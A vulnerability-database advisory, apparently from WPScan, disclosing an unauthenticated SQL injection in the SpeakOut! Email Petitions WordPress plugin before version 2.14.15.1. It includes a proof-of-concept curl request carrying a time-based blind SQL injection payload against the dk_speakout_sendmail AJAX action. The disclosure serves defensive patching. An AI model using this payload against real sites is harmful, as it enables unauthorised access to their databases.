Lucene search

K
wpvulndbCydaveWPVDB-ID:B030296D-688E-44A4-A48A-140375F2C5F4
HistoryMar 07, 2022 - 12:00 a.m.

SpeakOut! Email Petitions < 2.14.15.1 - Unauthenticated SQLi

2022-03-0700:00:00
cydave
wpscan.com
22

0.04 Low

EPSS

Percentile

92.1%

The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the dk_speakout_sendmail AJAX action, leading to an SQL Injection exploitable by unauthenticated users

PoC

Create a new email petition (/wp-admin/admin.php?page=dk_speakout_addnew), check [x] Do not send email (only collect signatures), enter a title and hit save. Then as unauthenticated, curl ‘https://example.com/wp-admin/admin-ajax.php’ --data ‘action=dk_speakout_sendmail&id;=11 AND (SELECT 5023 FROM (SELECT(SLEEP(5)))Fvrh)-- VoFu’

CPENameOperatorVersion
speakoutlt2.14.15.1

0.04 Low

EPSS

Percentile

92.1%

Related for WPVDB-ID:B030296D-688E-44A4-A48A-140375F2C5F4